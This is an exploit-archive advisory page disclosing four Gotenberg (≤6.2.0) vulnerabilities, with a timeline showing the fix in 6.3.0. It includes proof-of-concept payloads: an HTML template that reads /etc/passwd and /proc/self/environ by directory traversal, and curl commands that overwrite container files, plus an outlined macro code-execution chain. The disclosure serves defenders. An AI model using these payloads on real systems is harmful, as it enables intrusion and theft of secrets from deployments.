

Gotenberg 6.2.0 Traversal / Code Execution / Insecure Permissions

Authored by [Blazej Adamczyk](#)

Posted Jan 4, 2021

Gotenberg versions 6.2.0 and below suffer from directory traversal, code execution, and insecure permission vulnerabilities.

tags | [exploit](#), [vulnerability](#), [code execution](#), [file inclusion](#)

advisories | [CVE-2020-13449](#), [CVE-2020-13450](#), [CVE-2020-13451](#), [CVE-2020-13452](#)

SHA-256 | 78afb81c3f13565ecf21d0d3ec82d21cd97235cd78fb39359e943354ed217fce [Download](#) | [Favorite](#) | [View](#)

Related Files

Share This

Like

Twef

LinkedIn

Reddit

Digg

StumbleUpon

[Change Mirror](#)
[Download](#)

1 Multiple vulnerabilities in Gotenberg <= 6.2.0

Multiple vulnerabilities in Gotenberg (a Docker-powered stateless API for converting HTML, Markdown and Office documents to PDF used as a microservice) version <=6.2.0 allow a remote unauthenticated attacker to execute any command within Docker container.

CVSSv3.1 chained score: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Disclosure summary: (<https://exploit.tech/2020/12/29/Gotenberg.html>)

Write-up: (<https://blazej-adamczyk.medium.com/0-day-bug-breaks-multi-million-dollar-system-38c9e31b27e9>)

Exploit code: (https://github.com/br0xp1/gotenberg_hack)

Video: (<https://youtu.be/NAv8govLtgI>)

1.1 Download directory traversal

CVE: CVE-2020-13449

Vendor: (<https://www.thecodingmachine.com>)

Product: Gotenberg (<https://github.com/thecodingmachine/gotenberg>)

Version: <=6.2.1

Description: Directory traversal vulnerability in Markdown engine of Gotenberg version 6.2.1 and lower allows unauthorized attacker to read any container files.

PoC:

- Create index.html file:

```
<doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>My PDF</title>
</head>
<body>
<pre style="white-space: pre-wrap;">
Path:
{{ .DirPath }}
PASSWD:
{{ toHTML .DirPath ".././../etc/passwd" }}
IP:
{{ toHTML .DirPath ".././../proc/net/fib_trie" }}
TCP:
{{ toHTML .DirPath ".././../proc/net/tcp" }}
env:
{{ toHTML .DirPath ".././../proc/self/environ" }}
</pre>
</body>
</html>
```
- Call markdown endpoint:

```
$ curl 'http://$URL_GOTENBERG/convert/markdown' --form files=@index.html \
-o result.pdf --header 'Content-Type: multipart/form-data'
```

1.2 Upload directory traversal

CVE: CVE-2020-13450

Vendor: (<https://www.thecodingmachine.com>)

Product: Gotenberg (<https://github.com/thecodingmachine/gotenberg>)

Version: <=6.2.1

Description: Directory traversal vulnerability in file upload function of Gotenberg version 6.2.1 and lower allows unauthorized attacker to upload and overwrite any writable files outside the desired folder.

This can lead to DoS, change program behaviour or even to code execution (see CVE-2020-13451).

PoC:

```
curl 'http://$URL_GOTENBERG/convert/markdown' --form files=@index.html \
--form "files=@tini;filename=.././../tini" -o res.pdf \
--header 'Content-Type: multipart/form-data'
```

1.3 Code exec vulnerability using incomplete cleanup vulnerability

CVE: CVE-2020-13451

Vendor: (<https://www.thecodingmachine.com>)

Product: Gotenberg (<https://github.com/thecodingmachine/gotenberg>)

Version: <=6.2.0

Description: Incomplete cleanup vulnerability in Office rendering engine of Gotenberg version 6.2.1 and lower allows unauthorized attacker (using a different vulnerability like CVE-2020-13450) to overwrite libreoffice config (profile) files and execute arbitrary code using macros.

Gotenberg creates libreoffice profile when office endpoint is called in tmp choosing a folder with a name based on random ephemeral port number chosen by kernel. What is most important after finishing request the profile folder is not removed. Thus using a file upload vulnerability like the one described in CVE-2020-13450 an attacker can modify the profile preparing a macro which is going to be executed next time the same random profile will be reused.

Analyzing kernel sources, in default kernel config, there will be about 14113 different ports chosen at random. The hack requires to retry many times but works reliably.

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11securlity 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (6,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older
File Inclusion (4,165)	

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
IOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

Exploit code: [https://github.com/br0xp1/gotenberg_hack]

1.4 Insecure permissions of main executable

CVE: CVE-2020-13452

Vendor: [https://www.thecodingmachine.com]

Product: Gotenberg ([https://github.com/thecodingmachine/gotenberg])

Version: <=6.2.1

Description: Insecure permissions of /tini (writable by user gotenberg) file potentially allows an attacker to overwrite the file what can lead to Deny of Service or even code execution.

2 Timeline

- 25.05.2020 - Reported an issue: [[https://github.com/thecodingmachine/gotenberg/issues/199]].
- 04.06.2020 - Author confirms the issues and works on a fix.
- 05.06.2020 - Pull request [[https://github.com/thecodingmachine/gotenberg/pull/208]] created.
- 22.06.2020 - Fix merged to version 6.3.0.

3 Credits

Author: Blazej Adamczyk | [https://sploit.tech/]

Team: Efigo [https://efigo.pl/]

Spoof (2,166)	SUSE (1,444)
SQL Injection (16,102)	Ubuntu (8,199)
TCP (2,379)	UNIX (9,159)
Trojan (686)	UnixWare (185)
UDP (876)	Windows (6,511)
Virus (662)	Other
Vulnerability (31,136)	
Web (9,365)	
Whitepaper (3,729)	
x86 (946)	
XSS (17,494)	
Other	

[Login](#) or [Register](#) to add favorites

Site Links


News by Month
News Tags
Files by Month
File Tags
File Directory


About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

 Follow us on Twitter

 Subscribe to an RSS Feed